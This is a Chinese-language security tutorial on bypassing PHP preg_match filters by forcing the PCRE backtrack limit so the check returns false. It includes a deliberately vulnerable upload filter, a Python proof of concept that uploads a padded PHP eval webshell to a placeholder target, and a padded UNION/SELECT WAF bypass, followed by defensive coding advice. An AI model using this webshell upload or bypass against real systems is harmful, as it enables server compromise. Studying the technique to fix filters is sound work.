利用正则回溯最大次数上限绕过preg_match
字数 799 2025-08-04 00:46:02
利用正则回溯最大次数上限绕过preg_match防御机制
正则表达式回溯原理
基本概念
正则表达式引擎有两种主要类型:
- DFA (确定性有限状态自动机):线性匹配,无回溯,性能高但功能有限
- NFA (非确定性有限状态自动机):支持回溯,功能强大但性能较低(PHP的PCRE库使用此类型)
回溯机制详解
贪婪量词示例:
var string = "12345";
var regex = /(\d{1,3})(\d{1,3})/;
// 匹配结果: ["12345", "123", "45"]
- 前一个
\d{1,3}会尽可能多地匹配(贪婪匹配)
惰性量词示例:
var string = "12345";
var regex = /(\d{1,3}?)(\d{1,3})/;
// 匹配结果: ["1234", "1", "234"]
\d{1,3}?会尽可能少地匹配,但仍可能因整体匹配需要而回溯
PHP的PCRE回溯限制
安全机制
PHP为防止正则表达式拒绝服务攻击(reDOS),设置了回溯次数上限:
pcre.backtrack_limit = 1000000 // 默认值
关键行为
当正则匹配回溯次数超过限制时:
preg_match()返回false而非0或1- 这一特性可被利用来绕过安全检查
实际绕过案例
示例漏洞代码
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
// 文件上传检查
if (is_php($data)) {
echo "bad request";
} else {
// 文件保存操作
}
绕过原理
- 构造超长输入使回溯次数超过100万次
- 导致
preg_match()返回false false在条件判断中相当于false,绕过检查
利用POC (Python)
import requests
from io import BytesIO
url = "http://target.com/upload.php"
files = {
'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}
res = requests.post(url=url, files=files, allow_redirects=False)
print(res.headers)
防御措施
正确使用preg_match
// 错误用法
if (preg_match('/pattern/', $input)) {
// ...
}
// 正确用法
if (preg_match('/pattern/', $input) === 1) {
// ...
}
其他防御建议
- 对上传文件进行内容类型检查
- 限制上传文件大小
- 存储上传文件时使用随机文件名和不可执行目录
- 使用白名单而非黑名单进行过滤
WAF绕过应用
SQL注入WAF示例
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
绕过方法
构造类似UNION/*aaaaa*/SELECT的payload,其中/*aaaaa*/部分填充大量字符使回溯超限
总结
关键知识点:
- NFA正则引擎的回溯机制
- PHP的pcre.backtrack_limit安全限制
- preg_match在回溯超限时的特殊返回值
- 利用超长输入触发回溯限制绕过安全检查
- 正确的防御编码实践
此技术适用于多种使用正则表达式进行安全检查的场景,特别是PHP应用程序中基于preg_match的黑名单过滤机制。